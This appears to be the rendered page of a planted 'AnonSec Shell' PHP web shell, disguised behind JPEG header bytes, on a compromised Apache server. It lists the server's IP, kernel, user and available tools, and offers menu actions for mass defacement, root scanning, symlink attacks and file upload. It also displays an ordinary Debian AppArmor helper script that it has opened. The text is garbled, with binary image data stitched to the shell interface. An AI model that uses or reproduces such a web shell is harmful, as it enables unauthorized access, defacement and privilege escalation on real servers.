JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/disk_so_ralp/lib/apparmor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/disk_so_ralp/lib/apparmor/functions
# /lib/apparmor/functions for Debian -*- shell-script -*-
# ----------------------------------------------------------------------
#    Copyright (c) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007
#     NOVELL (All rights reserved)
#    Copyright (c) 2008-2010 Canonical, Ltd.
#
#    This program is free software; you can redistribute it and/or
#    modify it under the terms of version 2 of the GNU General Public
#    License published by the Free Software Foundation.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program; if not, contact Novell, Inc.
# ----------------------------------------------------------------------
# Authors:
#  Kees Cook <kees@ubuntu.com>

PROFILES="/etc/apparmor.d"
PROFILES_CACHE="$PROFILES/cache"
PROFILES_VAR="/var/lib/apparmor/profiles"
PROFILES_SNAPPY="/var/lib/snapd/apparmor/profiles"
PROFILES_CACHE_VAR="/var/cache/apparmor"
PARSER="/sbin/apparmor_parser"
SECURITYFS="/sys/kernel/security"
export AA_SFS="$SECURITYFS/apparmor"

# Suppress warnings when booting in quiet mode
quiet_arg=""
[ "${QUIET:-no}" = yes ] && quiet_arg="-q"
[ "${quiet:-n}" = y ] && quiet_arg="-q"

foreach_configured_profile() {
	rc_all="0"
	for pdir in "$PROFILES" "$PROFILES_VAR" "$PROFILES_SNAPPY" ; do
		if [ ! -d "$pdir" ]; then
			continue
		fi
		num=`find "$pdir" -type f ! -name '*.md5sums' | wc -l`
		if [ "$num" = "0" ]; then
			continue
		fi

		cache_dir="$PROFILES_CACHE"
		if [ -d "$PROFILES_CACHE_VAR" ] && [ "$pdir" = "$PROFILES_VAR" ] || [ "$pdir" = "$PROFILES_SNAPPY" ]; then
			cache_dir="$PROFILES_CACHE_VAR"
		fi
		cache_args="--cache-loc=$cache_dir"
		if [ ! -d "$cache_dir" ]; then
			cache_args=
		fi

		# LP: #1383858 - expr tree simplification is too slow for
		# Touch policy on ARM, so disable it for now
		cache_extra_args=
		if [ -d "$PROFILES_CACHE_VAR" ] && [ "$pdir" = "$PROFILES_VAR" ] || [ "$pdir" = "$PROFILES_SNAPPY" ]; then
			cache_extra_args="-O no-expr-simplify"
		fi

		# If need to compile everything, then use -n1 with xargs to
		# take advantage of -P. When cache files are in use, omit -n1
		# since it is considerably faster on moderately sized profile
		# sets to give the parser all the profiles to load at once
		n1_args=
		num=`find "$cache_dir" -type f ! -name '.features' | wc -l`
		if [ "$num" = "0" ]; then
			n1_args="-n1"
		fi

		(ls -1 "$pdir" | egrep -v '(\.dpkg-(new|old|dist|bak)|~)$' | \
		while read profile; do
			if [ -f "$pdir"/"$profile" ]; then
				echo "$pdir"/"$profile"
			fi
		done) | \
		xargs $n1_args -d"\n" -P$(getconf _NPROCESSORS_ONLN) "$PARSER" "$@" $cache_args $cache_extra_args -- || {
			rc_all="$?"
			# FIXME: when the parser properly handles broken
			# profiles (LP: #1377338), remove this if statement.
			# For now, if the xargs returns with error, just run
			# through everything with -n1. (This could be broken
			# out and refactored, but this is temporary so make it
			# easy to understand and revert)
			if [ "$rc_all" != "0" ]; then
				(ls -1 "$pdir" | \
				egrep -v '(\.dpkg-(new|old|dist|bak)|~)$' | \
				while read profile; do
					if [ -f "$pdir"/"$profile" ]; then
						echo "$pdir"/"$profile"
					fi
				done) | \
				xargs -n1 -d"\n" -P$(getconf _NPROCESSORS_ONLN) "$PARSER" "$@" $cache_args $cache_extra_args -- || {
					rc_all="$?"
				}
			fi
		}
	done
	return $rc_all
}

load_configured_profiles() {
	clear_cache_if_outdated
	foreach_configured_profile $quiet_arg --write-cache --replace
}

load_configured_profiles_without_caching() {
	foreach_configured_profile $quiet_arg --replace
}

recache_profiles() {
	clear_cache
	foreach_configured_profile $quiet_arg --write-cache --skip-kernel-load
}

configured_profile_names() {
	foreach_configured_profile $quiet_arg -N 2>/dev/null | LC_COLLATE=C sort | grep -v '//'
}

running_profile_names() {
	# Output a sorted list of loaded profiles, skipping libvirt's
	# dynamically generated files
	cat "$AA_SFS"/profiles | sed -e "s/ (\(enforce\|complain\))$//" | egrep -v '^libvirt-[0-9a-f\-]+$' | LC_COLLATE=C sort | grep -v '//'
}

unload_profile() {
	echo -n "$1" > "$AA_SFS"/.remove
}

clear_cache() {
	clear_cache_system
	clear_cache_var
}

clear_cache_system() {
	find "$PROFILES_CACHE" -maxdepth 1 -type f -print0 | xargs -0 rm -f --
}

clear_cache_var() {
	find "$PROFILES_CACHE_VAR" -maxdepth 1 -type f -print0 | xargs -0 rm -f --
}

read_features_dir()
{
	for f in `ls -AU "$1"` ; do
		if [ -f "$1/$f" ] ; then
			read -r KF < "$1/$f" || true
			echo -n "$f {$KF } "
		elif [ -d "$1/$f" ] ; then
			echo -n "$f {"
			KF=`read_features_dir "$1/$f"` || true
			echo -n "$KF} "
		fi
	done
}

clear_cache_if_outdated() {
	if [ -r "$PROFILES_CACHE"/.features ]; then
		if [ -d "$AA_SFS"/features ]; then
			KERN_FEATURES=`read_features_dir "$AA_SFS"/features`
		else
			read -r KERN_FEATURES < "$AA_SFS"/features
		fi
		CACHE_FEATURES=`tr '\n' ' ' < "$PROFILES_CACHE"/.features`
		if [ "$KERN_FEATURES" != "$CACHE_FEATURES" ]; then
			clear_cache
		fi
	fi
}

unload_obsolete_profiles() {
	# Currently we must re-parse all the profiles to get policy names.  :(
	aa_configured=$(mktemp -t aa-XXXXXX)
	configured_profile_names > "$aa_configured" || true
	aa_loaded=$(mktemp -t aa-XXXXXX)
	running_profile_names > "$aa_loaded" || true
	LC_COLLATE=C comm -2 -3 "$aa_loaded" "$aa_configured" | while read profile ; do
		unload_profile "$profile"
        done
	rm -f "$aa_configured" "$aa_loaded"
}

Anon7 - 2022
AnonSec Team